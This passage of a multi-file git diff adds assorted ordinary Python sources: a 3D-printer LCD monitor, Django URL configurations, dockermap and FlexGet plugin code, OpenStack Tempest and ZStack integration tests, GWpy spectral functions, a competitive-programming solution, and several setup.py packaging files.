+ return "%0.1f" % (self.bedTemp) + '/' + "%0.1f" % (self.bedTarget) + + def setMessage1(self): + self.message = "File: " + self.fileName + '\n' + "Cmpltd: " + self.getCompletion() + '%' + self.colorR = 1.0 + self.colorG = 0.0 + self.colorB = 1.0 + + def setMessage2(self): + self.message = "Elpsd: " + self.getPrintTime() + '\n' + "Rmn: " + self.getRemain() + self.colorR = 0.0 + self.colorG = 1.0 + self.colorB = 1.0 + + def setMessage3(self): + self.message = "Tmp: " + self.getToolTemp() + '\n' + "Bed: " + self.getBedTemp() + self.colorR = 0.0 + self.colorG = 0.0 + self.colorB = 1.0 + +pData = PrintData(key) +dLCD = DisplayLCD() +test = 0 + +while pData.checkPrinter(): + + pData.updatePrintData() + + if test == 0: + pData.setMessage1() + test = 1 + elif test == 1: + pData.setMessage2() + test = 2 + else: + pData.setMessage3() + test = 0 + + dLCD.updateDisplay(pData) + sleep(5) + +while (pData.toolTemp > 50.0) | (pData.bedTemp > 30.0): + + pData.updatePrintData() + + pData.setMessage3() + + dLCD.updateDisplay(pData) + sleep(1) + +dLCD.sayGoodbye() + diff --git a/pool/shard009/Python/0083931_init__.py b/pool/shard009/Python/0083931_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..13ac1507b3aea5b83073ac107feb42e334ab9a8a --- /dev/null +++ b/pool/shard009/Python/0083931_init__.py @@ -0,0 +1,51 @@ +# -*- coding: utf-8 -*- +from abc import ABCMeta + +from six import with_metaclass + +from ...map import Flags + + +class ConfigFlags(Flags): + DEPENDENT = 1 # Configuration is checked in a relation to a dependent / dependency container. + + +class PolicyUtilMeta(type): + def __init__(cls, name, bases, dct): + cls.policy_options = options = [] + for base in bases: + if hasattr(base, 'policy_options'): + options.extend(base.policy_options) + opts = dct.get('policy_options') + if opts: + options.extend(opts) + super(PolicyUtilMeta, cls).__init__(name, bases, dct) + + +class ABCPolicyUtilMeta(ABCMeta, PolicyUtilMeta): + pass + + +class PolicyUtil(with_metaclass(PolicyUtilMeta)): + """ + Base class for utility objects used by a policy and referring back to it. + + :param policy: Policy object instance. + :type policy: dockermap.map.policy.base.BasePolicy + """ + policy_options = [] + + def __init__(self, policy, kwargs): + defaults = policy.option_defaults + for option_name in self.__class__.policy_options: + if option_name in kwargs: + setattr(self, option_name, kwargs.pop(option_name)) + elif option_name in defaults: + setattr(self, option_name, defaults[option_name]) + self._policy = policy + + def get_options(self): + return { + option_name: getattr(self, option_name) + for option_name in self.__class__.policy_options + } diff --git a/pool/shard009/Python/0083933_urls.py b/pool/shard009/Python/0083933_urls.py new file mode 100644 index 0000000000000000000000000000000000000000..510aa235a6ee582c411c8c87f50d53a41bac1caf --- /dev/null +++ b/pool/shard009/Python/0083933_urls.py @@ -0,0 +1,65 @@ +from django.urls import include, re_path + +from rest_framework.routers import SimpleRouter +from rest_framework_nested.routers import NestedSimpleRouter + +from olympia.bandwagon.views import CollectionAddonViewSet, CollectionViewSet + +from . import views + + +accounts = SimpleRouter() +accounts.register(r'account', views.AccountViewSet, basename='account') + +collections = NestedSimpleRouter(accounts, r'account', lookup='user') +collections.register(r'collections', CollectionViewSet, basename='collection') +sub_collections = NestedSimpleRouter(collections, r'collections', lookup='collection') +sub_collections.register('addons', CollectionAddonViewSet, basename='collection-addon') + +notifications = NestedSimpleRouter(accounts, r'account', lookup='user') +notifications.register( + r'notifications', views.AccountNotificationViewSet, basename='notification' +) + +accounts_v4 = [ + re_path( + r'^login/start/$', views.LoginStartView.as_view(), name='accounts.login_start' + ), + re_path(r'^session/$', views.SessionView.as_view(), name='accounts.session'), + re_path(r'', include(accounts.urls)), + re_path(r'^profile/$', views.ProfileView.as_view(), name='account-profile'), + re_path( + r'^super-create/$', + views.AccountSuperCreate.as_view(), + name='accounts.super-create', + ), + re_path( + r'^unsubscribe/$', + views.AccountNotificationUnsubscribeView.as_view(), + name='account-unsubscribe', + ), + re_path(r'', include(collections.urls)), + re_path(r'', include(sub_collections.urls)), + re_path(r'', include(notifications.urls)), +] + +accounts_v3 = accounts_v4 + [ + re_path( + r'^authenticate/$', + views.AuthenticateView.as_view(), + name='accounts.authenticate', + ), +] + +auth_urls = [ + re_path( + r'^authenticate-callback/$', + views.AuthenticateView.as_view(), + name='accounts.authenticate', + ), + re_path( + r'^fxa-notification', + views.FxaNotificationView.as_view(), + name='fxa-notification', + ), +] diff --git a/pool/shard009/Python/0083938_test_api.py b/pool/shard009/Python/0083938_test_api.py new file mode 100644 index 0000000000000000000000000000000000000000..5b9729ff1939823494cc33c4b61eb05ebce47c28 --- /dev/null +++ b/pool/shard009/Python/0083938_test_api.py @@ -0,0 +1,47 @@ +# Copyright 2020 The LUCI Authors. All rights reserved. +# Use of this source code is governed under the Apache License, Version 2.0 +# that can be found in the LICENSE file. + +from recipe_engine import recipe_test_api + +from PB.go.chromium.org.luci.buildbucket.proto import build as build_pb2 +from PB.go.chromium.org.luci.buildbucket.proto import common as common_pb2 + + +class LegacyAnnotationTestApi(recipe_test_api.RecipeTestApi): + """For legacy `allow_subannotations` feature, the step status was deciced by + the command's return code (i.e. is zero or not). However, since the + `legacy_annotation` module runs the command as a sub-build/sub-luciexe. + The step status is now the same as the status of the result build. This + test api provides properties which represent different step status and + help populate the sub-build placeholder. + """ + + @property + def success_step(self): + """Returns a StepTestData that indicating a succeeding step""" + return self.m.step.sub_build(build_pb2.Build(status=common_pb2.SUCCESS)) + + @property + def failure_step(self): + """Returns a StepTestData that fails the step and raises `step.StepFailure`. + """ + ret = self.m.step.sub_build(build_pb2.Build(status=common_pb2.FAILURE)) + ret.retcode = 1 + return ret + + @property + def infra_failure_step(self): + """Returns a StepTestData that fails the step and raise `step.InfraFailure`. + """ + ret = self.m.step.sub_build( + build_pb2.Build(status=common_pb2.INFRA_FAILURE)) + ret.retcode = 1 + return ret + + @recipe_test_api.mod_test_data + @staticmethod + def simulate_kitchen(): + """Simulate Kitchen behavior in test instead of bbagent/luciexe behavior. + """ + return True diff --git a/pool/shard009/Python/0083942_test_types.py b/pool/shard009/Python/0083942_test_types.py new file mode 100644 index 0000000000000000000000000000000000000000..2d6f51809111d0e45b66e89fd15c1882069bc757 --- /dev/null +++ b/pool/shard009/Python/0083942_test_types.py @@ -0,0 +1,50 @@ +# +# Copyright 2008-2016 Universidad Complutense de Madrid +# +# This file is part of Numina +# +# SPDX-License-Identifier: GPL-3.0+ +# License-Filename: LICENSE.txt +# + + +'''Unit test for types''' + +from ..datatype import NullType, DataType + +def test_null_type(): + '''Test NullType.''' + + nullt = NullType() + + values = [None, 1, 1.0, [1,2,3], {'a': 1, 'b': 2}] + + for val in values: + assert nullt.convert(val) is None + + for val in values: + assert nullt.validate(nullt.convert(val)) + + +def test_convert_in_out(): + + class AVal(object): + pass + + class A(DataType): + + def convert(self, obj): + return 1 + + a = A(ptype=AVal) + assert a.convert_in(None) == 1 + assert a.convert_out(None) == 1 + + class B(A): + + def convert_out(self, obj): + return 2 + + b = B(ptype=AVal) + assert b.convert_in(None) == 1 + assert b.convert_out(None) == 2 \ No newline at end of file diff --git a/pool/shard009/Python/0083944_find.py b/pool/shard009/Python/0083944_find.py new file mode 100644 index 0000000000000000000000000000000000000000..fae0d55b8469beebf2b6a632e59e4e1c6df70e12 --- /dev/null +++ b/pool/shard009/Python/0083944_find.py @@ -0,0 +1,106 @@ +from __future__ import unicode_literals, division, absolute_import +from datetime import datetime +import logging +import re +import sys + +from path import Path + +from flexget import plugin +from flexget.config_schema import one_or_more +from flexget.event import event +from flexget.entry import Entry + +log = logging.getLogger('find') + + +class InputFind(object): + """ + Uses local path content as an input, recurses through directories and creates entries for files that match mask. + + You can specify either the mask key, in shell file matching format, (see python fnmatch module,) or regexp key. + + Example:: + + find: + path: /storage/movies/ + mask: *.avi + + Example:: + + find: + path: + - /storage/movies/ + - /storage/tv/ + regexp: .*\.(avi|mkv)$ + """ + + schema = { + 'type': 'object', + 'properties': { + 'path': one_or_more({'type': 'string', 'format': 'path'}), + 'mask': {'type': 'string'}, + 'regexp': {'type': 'string', 'format': 'regex'}, + 'recursive': {'type': 'boolean'} + }, + 'required': ['path'], + 'additionalProperties': False + } + + def prepare_config(self, config): + from fnmatch import translate + # If only a single path is passed turn it into a 1 element list + if isinstance(config['path'], basestring): + config['path'] = [config['path']] + config.setdefault('recursive', False) + # If mask was specified, turn it in to a regexp + if config.get('mask'): + config['regexp'] = translate(config['mask']) + # If no mask or regexp specified, accept all files + if not config.get('regexp'): + config['regexp'] = '.' + + def on_task_input(self, task, config): + self.prepare_config(config) + entries = [] + match = re.compile(config['regexp'], re.IGNORECASE).match + for folder in config['path']: + folder = Path(folder).expanduser() + log.debug('scanning %s' % folder) + if config['recursive']: + files = folder.walk(errors='ignore') + else: + files = folder.listdir() + for item in files: + e = Entry() + try: + # TODO: config for listing files/dirs/both + if item.isdir(): + continue + except UnicodeError as e: + log.warning('Filename `%s` in `%s` is not decodable by declared filesystem encoding `%s`. ' + 'Either your environment does not declare the correct encoding, or this filename ' + 'is incorrectly encoded.' % + (item.name, item.dirname(), sys.getfilesystemencoding())) + continue + + e['title'] = item.namebase + # If mask fails continue + if not match(item.name): + continue + try: + e['timestamp'] = datetime.fromtimestamp(item.getmtime()) + except ValueError as e: + log.debug('Error setting timestamp for %s: %s' % (item, e)) + e['location'] = item + # Windows paths need an extra / prepended to them for url + if not item.startswith('/'): + item = '/' + item + e['url'] = 'file://%s' % item + entries.append(e) + return entries + + +@event('plugin.register') +def register_plugin(): + plugin.register(InputFind, 'find', api_ver=2) diff --git a/pool/shard009/Python/0083956_test_resize_vm.py b/pool/shard009/Python/0083956_test_resize_vm.py new file mode 100644 index 0000000000000000000000000000000000000000..861d666213576bae03871ac8cfa7eb7865464b60 --- /dev/null +++ b/pool/shard009/Python/0083956_test_resize_vm.py @@ -0,0 +1,57 @@ +''' + +New Integration Test for resizing root volume. + +@author: czhou25 +''' + +import zstackwoodpecker.test_util as test_util +import zstackwoodpecker.test_state as test_state +import zstackwoodpecker.test_lib as test_lib +import zstackwoodpecker.operations.resource_operations as res_ops +import zstackwoodpecker.operations.volume_operations as vol_ops +import zstackwoodpecker.zstack_test.zstack_test_vm as test_vm_header +import time +import os + +vm = None +test_stub = test_lib.lib_get_test_stub() + +def test(): + global vm + vm_creation_option = test_util.VmOption() + image_name = os.environ.get('imageName_net') + l3_name = os.environ.get('l3VlanNetworkName1') + vm = test_stub.create_vm("test_resize_vm", image_name, l3_name) + vm.check() + vm.stop() + vm.check() + + vol_size = test_lib.lib_get_root_volume(vm.get_vm()).size + volume_uuid = test_lib.lib_get_root_volume(vm.get_vm()).uuid + set_size = 1024*1024*1024*5 + vol_ops.resize_volume(volume_uuid, set_size) + vm.update() + vol_size_after = test_lib.lib_get_root_volume(vm.get_vm()).size + if set_size != vol_size_after: + test_util.test_fail('Resize Root Volume failed, size = %s' % vol_size_after) + + vm.start() + set_size = 1024*1024*1024*6 + vol_ops.resize_volume(volume_uuid, set_size) + vm.update() + vol_size_after = test_lib.lib_get_root_volume(vm.get_vm()).size + if set_size != vol_size_after: + test_util.test_fail('Resize Root Volume failed, size = %s' % vol_size_after) + + vm.destroy() + test_util.test_pass('Resize VM Test Success') + +#Will be called only if exception happens in test(). +def error_cleanup(): + global vm + if vm: + try: + vm.destroy() + except: + pass diff --git a/pool/shard009/Python/0083972_slu.py b/pool/shard009/Python/0083972_slu.py new file mode 100644 index 0000000000000000000000000000000000000000..c0ce3ec8954274555989354fbccf6fc7fda0ce3c --- /dev/null +++ b/pool/shard009/Python/0083972_slu.py @@ -0,0 +1,48 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +''' +1263. Elections +Time limit: 1.0 second +Memory limit: 64 MB + +[Description] +The next in turn elections are to come soon. All the fences are postered with +leaflets and the mail boxes are full of throwaways. Cheeky guys are looking at +us from TV’s and promise to make our life better… And programmer Vasechkin is +knee-deep in work. He is to write a program that would calculate the results +of voting. + +[Input] +The first line contains a number of candidates N (1 ≤ N ≤ 10000) and a number +of electors M (1 ≤ M ≤ 10000). Then M lines follow, each one contains a number +of candidate that the elector voted for. The candidates are numbered with +integers from 1 to N. + +[Output] +Output N lines. The i-th line should contain the percent of electors that voted +for the i-th candidate (to within 2 decimals). +''' + +import sys; +import math; + +def calc(): + n, m = sys.stdin.readline().strip('\r\n').split(' ') + n = int(n) + m = int(m) + c = [] + for i in range(n): + c.append(0) + + for i in range(m): + v = int(sys.stdin.readline()) + c[v - 1] = c[v - 1] + 1 + + for i in range(n): + p = float(c[i] * 100) / m + print '%.2f%s' % (p, '%') + +if __name__ == '__main__': + calc() + diff --git a/pool/shard009/Python/0083980_test_volume_boot_pattern.py b/pool/shard009/Python/0083980_test_volume_boot_pattern.py new file mode 100644 index 0000000000000000000000000000000000000000..678fcfc79401a12e2b6b272f1fe6a9903fd79949 --- /dev/null +++ b/pool/shard009/Python/0083980_test_volume_boot_pattern.py @@ -0,0 +1,196 @@ +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +from oslo_log import log + +from tempest.common.utils import data_utils +from tempest.common import waiters +from tempest import config +from tempest.scenario import manager +from tempest import test + +CONF = config.CONF + +LOG = log.getLogger(__name__) + + +class TestVolumeBootPattern(manager.ScenarioTest): + + """ + This test case attempts to reproduce the following steps: + + * Create in Cinder some bootable volume importing a Glance image + * Boot an instance from the bootable volume + * Write content to the volume + * Delete an instance and Boot a new instance from the volume + * Check written content in the instance + * Create a volume snapshot while the instance is running + * Boot an additional instance from the new snapshot based volume + * Check written content in the instance booted from snapshot + """ + @classmethod + def skip_checks(cls): + super(TestVolumeBootPattern, cls).skip_checks() + if not CONF.volume_feature_enabled.snapshot: + raise cls.skipException("Cinder volume snapshots are disabled") + + def _create_volume_from_image(self): + img_uuid = CONF.compute.image_ref + vol_name = data_utils.rand_name('volume-origin') + return self.create_volume(name=vol_name, imageRef=img_uuid) + + def _get_bdm(self, vol_id, delete_on_termination=False): + # NOTE(gfidente): the syntax for block_device_mapping is + # dev_name=id:type:size:delete_on_terminate + # where type needs to be "snap" if the server is booted + # from a snapshot, size instead can be safely left empty + bd_map = [{ + 'device_name': 'vda', + 'volume_id': vol_id, + 'delete_on_termination': str(int(delete_on_termination))}] + return {'block_device_mapping': bd_map} + + def _boot_instance_from_volume(self, vol_id, keypair=None, + security_group=None, + delete_on_termination=False): + create_kwargs = dict() + if keypair: + create_kwargs['key_name'] = keypair['name'] + if security_group: + create_kwargs['security_groups'] = [ + {'name': security_group['name']}] + create_kwargs.update(self._get_bdm( + vol_id, delete_on_termination=delete_on_termination)) + return self.create_server(image='', create_kwargs=create_kwargs) + + def _create_snapshot_from_volume(self, vol_id): + snap_name = data_utils.rand_name('snapshot') + snap = self.snapshots_client.create_snapshot( + volume_id=vol_id, + force=True, + display_name=snap_name)['snapshot'] + self.addCleanup( + self.snapshots_client.wait_for_resource_deletion, snap['id']) + self.addCleanup(self.snapshots_client.delete_snapshot, snap['id']) + self.snapshots_client.wait_for_snapshot_status(snap['id'], 'available') + + # NOTE(e0ne): Cinder API v2 uses name instead of display_name + if 'display_name' in snap: + self.assertEqual(snap_name, snap['display_name']) + else: + self.assertEqual(snap_name, snap['name']) + + return snap + + def _create_volume_from_snapshot(self, snap_id): + vol_name = data_utils.rand_name('volume') + return self.create_volume(name=vol_name, snapshot_id=snap_id) + + def _ssh_to_server(self, server, keypair): + if CONF.compute.use_floatingip_for_ssh: + ip = self.create_floating_ip(server)['ip'] + else: + ip = server + + return self.get_remote_client(ip, private_key=keypair['private_key'], + log_console_of_servers=[server]) + + def _get_content(self, ssh_client): + return ssh_client.exec_command('cat /tmp/text') + + def _write_text(self, ssh_client): + text = data_utils.rand_name('text') + ssh_client.exec_command('echo "%s" > /tmp/text; sync' % (text)) + + return self._get_content(ssh_client) + + def _delete_server(self, server): + self.servers_client.delete_server(server['id']) + waiters.wait_for_server_termination(self.servers_client, server['id']) + + def _check_content_of_written_file(self, ssh_client, expected): + actual = self._get_content(ssh_client) + self.assertEqual(expected, actual) + + @test.idempotent_id('557cd2c2-4eb8-4dce-98be-f86765ff311b') + @test.attr(type='smoke') + @test.services('compute', 'volume', 'image') + def test_volume_boot_pattern(self): + keypair = self.create_keypair() + security_group = self._create_security_group() + + # create an instance from volume + volume_origin = self._create_volume_from_image() + instance_1st = self._boot_instance_from_volume(volume_origin['id'], + keypair, security_group) + + # write content to volume on instance + ssh_client_for_instance_1st = self._ssh_to_server(instance_1st, + keypair) + text = self._write_text(ssh_client_for_instance_1st) + + # delete instance + self._delete_server(instance_1st) + + # create a 2nd instance from volume + instance_2nd = self._boot_instance_from_volume(volume_origin['id'], + keypair, security_group) + + # check the content of written file + ssh_client_for_instance_2nd = self._ssh_to_server(instance_2nd, + keypair) + self._check_content_of_written_file(ssh_client_for_instance_2nd, text) + + # snapshot a volume + snapshot = self._create_snapshot_from_volume(volume_origin['id']) + + # create a 3rd instance from snapshot + volume = self._create_volume_from_snapshot(snapshot['id']) + instance_from_snapshot = ( + self._boot_instance_from_volume(volume['id'], + keypair, security_group)) + + # check the content of written file + ssh_client = self._ssh_to_server(instance_from_snapshot, keypair) + self._check_content_of_written_file(ssh_client, text) + + @test.idempotent_id('36c34c67-7b54-4b59-b188-02a2f458a63b') + @test.services('compute', 'volume', 'image') + def test_create_ebs_image_and_check_boot(self): + # create an instance from volume + volume_origin = self._create_volume_from_image() + instance = self._boot_instance_from_volume(volume_origin['id'], + delete_on_termination=True) + # create EBS image + name = data_utils.rand_name('image') + image = self.create_server_snapshot(instance, name=name) + + # delete instance + self._delete_server(instance) + + # boot instance from EBS image + instance = self.create_server(image=image['id']) + # just ensure that instance booted + + # delete instance + self._delete_server(instance) + + +class TestVolumeBootPatternV2(TestVolumeBootPattern): + def _get_bdm(self, vol_id, delete_on_termination=False): + bd_map_v2 = [{ + 'uuid': vol_id, + 'source_type': 'volume', + 'destination_type': 'volume', + 'boot_index': 0, + 'delete_on_termination': delete_on_termination}] + return {'block_device_mapping_v2': bd_map_v2} diff --git a/pool/shard009/Python/0083985_scipy_.py b/pool/shard009/Python/0083985_scipy_.py new file mode 100644 index 0000000000000000000000000000000000000000..24de381e8e4d6d80072d839100550a9f8588852b --- /dev/null +++ b/pool/shard009/Python/0083985_scipy_.py @@ -0,0 +1,101 @@ +# -*- coding: utf-8 -*- +# Copyright (C) Duncan Macleod (2013) +# +# This file is part of GWpy. +# +# GWpy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# GWpy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with GWpy. If not, see . + +"""`FrequencySeries` calculation methods using the SciPy module. +""" + +import numpy + +from .core import FrequencySeries +from .registry import register_method +from ..utils import import_method_dependency +from .utils import scale_timeseries_units + +__author__ = 'Duncan Macleod ' + + +def welch(timeseries, segmentlength, noverlap=None, **kwargs): + """Calculate the PSD using the scipy Welch method. + """ + # get module + signal = import_method_dependency('scipy.signal') + # calculate PSD + f, psd_ = signal.welch(timeseries.value, noverlap=noverlap, + fs=timeseries.sample_rate.decompose().value, + nperseg=segmentlength, **kwargs) + # generate FrequencySeries and return + unit = scale_timeseries_units(timeseries.unit, + kwargs.get('scaling', 'density')) + return FrequencySeries(psd_, unit=unit, frequencies=f, + name=timeseries.name, epoch=timeseries.epoch, + channel=timeseries.channel) + +register_method(welch) + + +def bartlett(timeseries, segmentlength, **kwargs): + """Calculate a PSD using the Bartlett average method. + """ + import_method_dependency('scipy.signal') + kwargs.pop('noverlap', None) + return welch(timeseries, segmentlength, noverlap=0, **kwargs) + +register_method(bartlett) + + +def rayleigh(timeseries, segmentlength, noverlap=0, **kwargs): + """Calculate a Rayleigh statistic spectrum + """ + stepsize = segmentlength - noverlap + if noverlap: + numsegs = 1 + int((timeseries.size - segmentlength) / float(noverlap)) + else: + numsegs = int(timeseries.size // segmentlength) + tmpdata = numpy.ndarray((numsegs, int(segmentlength//2 + 1))) + for i in range(numsegs): + ts = timeseries[i*stepsize:i*stepsize+segmentlength] + tmpdata[i, :] = welch(ts, segmentlength) + std = tmpdata.std(axis=0) + mean = tmpdata.mean(axis=0) + return FrequencySeries(std/mean, unit='', copy=False, f0=0, + df=timeseries.sample_rate.value/segmentlength, + channel=timeseries.channel, + name='Rayleigh spectrum of %s' % timeseries.name) + +register_method(rayleigh) + + +def csd(timeseries, othertimeseries, segmentlength, noverlap=None, **kwargs): + """Calculate the CSD using scipy's csd method (which uses Welch's method) + """ + # get module + signal = import_method_dependency('scipy.signal') + # calculate CSD + f, csd_ = signal.csd(timeseries.value, othertimeseries.value, + noverlap=noverlap, + fs=timeseries.sample_rate.decompose().value, + nperseg=segmentlength, **kwargs) + # generate FrequencySeries and return + unit = scale_timeseries_units(timeseries.unit, + kwargs.get('scaling', 'density')) + return FrequencySeries( + csd_, unit=unit, frequencies=f, + name=str(timeseries.name)+'---'+str(othertimeseries.name), + epoch=timeseries.epoch, channel=timeseries.channel) + +register_method(csd) diff --git a/pool/shard009/Python/0083989_klystron1itck.py b/pool/shard009/Python/0083989_klystron1itck.py new file mode 100644 index 0000000000000000000000000000000000000000..e034216208e1c2691d389e9766f8e7577651e5c9 --- /dev/null +++ b/pool/shard009/Python/0083989_klystron1itck.py @@ -0,0 +1,69 @@ +# ##### BEGIN GPL LICENSE BLOCK ##### +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License +# as published by the Free Software Foundation; either version 3 +# of the License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software Foundation, +# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. +# +# ##### END GPL LICENSE BLOCK ##### + +__author__ = "Sergi Blanch-Torne" +__copyright__ = "Copyright 2015, CELLS / ALBA Synchrotron" +__license__ = "GPLv3+" + +import os +from taurus.external.qt import Qt +from taurus.qt.qtgui.container import TaurusWidget +from taurus.qt.qtgui.util.ui import UILoadable +import traceback + + +@UILoadable(with_ui="_ui") +class Klystron1itck(TaurusWidget): + + def __init__(self, parent=None, name=None, designMode=False): + try: + self.__name = name.__name__ + except: + self.__name = "Klystron1itck" + super(Klystron1itck, self).__init__(parent, designMode=designMode) + try: + self.debug("[%s]__init__()" % (self.__name)) + basePath = os.path.dirname(__file__) + if len(basePath) == 0: + basePath = '.' + self.loadUi(filename="klystron1ictk.ui", + path=basePath+"/ui") + except Exception as e: + self.warning("[%s]__init__(): Widget exception! %s" + % (self.__name, e)) + traceback.print_exc() + self.traceback() + + @classmethod + def getQtDesignerPluginInfo(cls): + ret = TaurusWidget.getQtDesignerPluginInfo() + ret['module'] = 'klystron1itck' + ret['group'] = 'Taurus Linac Widgets' + ret['icon'] = ':/designer/widgetstack.png' + ret['container'] = False + return ret + + +def main(): + app = Qt.QApplication(sys.argv) + w = Klystron1itck() + w.show() + sys.exit(app.exec_()) + +if __name__ == "__main__": + main() diff --git a/pool/shard009/Python/0083990_setup.py b/pool/shard009/Python/0083990_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..e4049fd83cad9799f3366f47d41d34f49c6ef7b6 --- /dev/null +++ b/pool/shard009/Python/0083990_setup.py @@ -0,0 +1,83 @@ +# -*- coding: utf-8 -*- +# +# Copyright 2020 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +import io +import os + +import setuptools + + +name = "google-cloud-ids" +description = "Cloud IDS API client library" +version = "1.1.1" +url = "https://github.com/googleapis/python-ids" +release_status = "Development Status :: 5 - Production/Stable" +dependencies = [ + # NOTE: Maintainers, please do not require google-api-core>=2.x.x + # Until this issue is closed + # https://github.com/googleapis/google-cloud-python/issues/10566 + "google-api-core[grpc] >= 1.31.5, <3.0.0dev,!=2.0.*,!=2.1.*,!=2.2.*,!=2.3.0", + "proto-plus >= 1.15.0", +] + +package_root = os.path.abspath(os.path.dirname(__file__)) + +readme_filename = os.path.join(package_root, "README.rst") +with io.open(readme_filename, encoding="utf-8") as readme_file: + readme = readme_file.read() + +packages = [ + package + for package in setuptools.PEP420PackageFinder.find() + if package.startswith("google") +] + +namespaces = ["google"] +if "google.cloud" in packages: + namespaces.append("google.cloud") + + +setuptools.setup( + name=name, + version=version, + description=description, + long_description=readme, + author="Google LLC", + author_email="googleapis-packages@google.com", + license="Apache 2.0", + url=url, + classifiers=[ + release_status, + "Intended Audience :: Developers", + "License :: OSI Approved :: Apache Software License", + "Programming Language :: Python", + "Programming Language :: Python :: 3", + "Programming Language :: Python :: 3.6", + "Programming Language :: Python :: 3.7", + "Programming Language :: Python :: 3.8", + "Programming Language :: Python :: 3.9", + "Programming Language :: Python :: 3.10", + "Operating System :: OS Independent", + "Topic :: Internet", + ], + platforms="Posix; MacOS X; Windows", + packages=packages, + python_requires=">=3.6", + namespace_packages=namespaces, + install_requires=dependencies, + include_package_data=True, + zip_safe=False, +) diff --git a/pool/shard009/Python/0083997_urls.py b/pool/shard009/Python/0083997_urls.py new file mode 100644 index 0000000000000000000000000000000000000000..fc65e38d45d912378ef97bb9726817960be6b803 --- /dev/null +++ b/pool/shard009/Python/0083997_urls.py @@ -0,0 +1,35 @@ +# -*- coding: utf-8 -*- +from __future__ import unicode_literals + +from django.conf import settings +from django.conf.urls import include, url +from django.conf.urls.static import static +from django.contrib import admin +from django.views.generic import TemplateView +from django.views import defaults as default_views + +urlpatterns = [ + url(r'^$', TemplateView.as_view(template_name='pages/home.html'), name='home'), + url(r'^about/$', TemplateView.as_view(template_name='pages/about.html'), name='about'), + + # Django Admin, use {% url 'admin:index' %} + url(settings.ADMIN_URL, include(admin.site.urls)), + + # User management + url(r'^users/', include('rideshare_matchmaker.users.urls', namespace='users')), + url(r'^accounts/', include('allauth.urls')), + + # Your stuff: custom urls includes go here + + +] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT) + +if settings.DEBUG: + # This allows the error pages to be debugged during development, just visit + # these url in browser to see how these error pages look like. + urlpatterns += [ + url(r'^400/$', default_views.bad_request, kwargs={'exception': Exception('Bad Request!')}), + url(r'^403/$', default_views.permission_denied, kwargs={'exception': Exception('Permission Denied')}), + url(r'^404/$', default_views.page_not_found, kwargs={'exception': Exception('Page not Found')}), + url(r'^500/$', default_views.server_error), + ] diff --git a/pool/shard009/Python/0083999_setup.py b/pool/shard009/Python/0083999_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..98c58e9fea013d89199ca9dcf2f12dfcc3ee155c --- /dev/null +++ b/pool/shard009/Python/0083999_setup.py @@ -0,0 +1,50 @@ +import os +import re +import sys + +from setuptools import setup + + +long_description = '' +this_directory = os.path.abspath(os.path.dirname(__file__)) +for md in ('README.md', 'CHANGELOG.md'): + with open(os.path.join(this_directory, md), encoding='utf-8') as f: + long_description += f.read() + +init_py = open('extenum/__init__.py').read() +metadata = dict(re.findall("__([a-z]+)__ = '([^']+)'", init_py)) + +setup( + name='extenum', + version=metadata['version'], + description='Extended Enum classes for the Python 3 enum module', + long_description=long_description, + long_description_content_type='text/markdown', + classifiers=[ + 'License :: OSI Approved :: Apache Software License', + 'Development Status :: 4 - Beta', + 'Intended Audience :: Developers', + 'Operating System :: Microsoft :: Windows', + 'Operating System :: MacOS :: MacOS X', + 'Operating System :: POSIX', + 'Programming Language :: Python :: 3', + 'Programming Language :: Python :: 3.6', + 'Programming Language :: Python :: 3.7', + 'Programming Language :: Python :: 3.8', + 'Programming Language :: Python :: 3.9', + 'Programming Language :: Python :: 3 :: Only', + 'Programming Language :: Python :: Implementation :: CPython', + 'Programming Language :: Python :: Implementation :: PyPy', + 'Topic :: Software Development :: Libraries', + ], + keywords=['enum'], + author='Tetsuya Morimoto', + author_email='tetsuya.morimoto@gmail.com ', + url='https://github.com/t2y/extenum', + license='Apache License 2.0', + platforms=['unix', 'linux', 'osx', 'windows'], + packages=['extenum'], + include_package_data=True, + install_requires=[], + tests_require=['tox', 'pytest', 'pytest-flake8'], +) diff --git a/pool/shard009/Python/0084000_percent_SSS_difference_from_baseline.py b/pool/shard009/Python/0084000_percent_SSS_difference_from_baseline.py new file mode 100644 index 0000000000000000000000000000000000000000..ff23bf8ded202957e670da306111e1ea14d90162 --- /dev/null +++ b/pool/shard009/Python/0084000_percent_SSS_difference_from_baseline.py @@ -0,0 +1,27 @@ +# Opus/UrbanSim urban simulation software. +# Copyright (C) 2005-2009 University of Washington +# See opus_core/LICENSE + +from opus_core.variables.variable import Variable +from urbansim.functions import attribute_label +from variable_functions import my_attribute_label +from numpy import float32 +from numpy import ma + +class percent_SSS_difference_from_baseline(Variable): + """percent difference of variable SSS from baseline_SSS""" + + def __init__(self, variable_name): + self.variable_name = variable_name + Variable.__init__(self) + + def dependencies(self): + #resource and 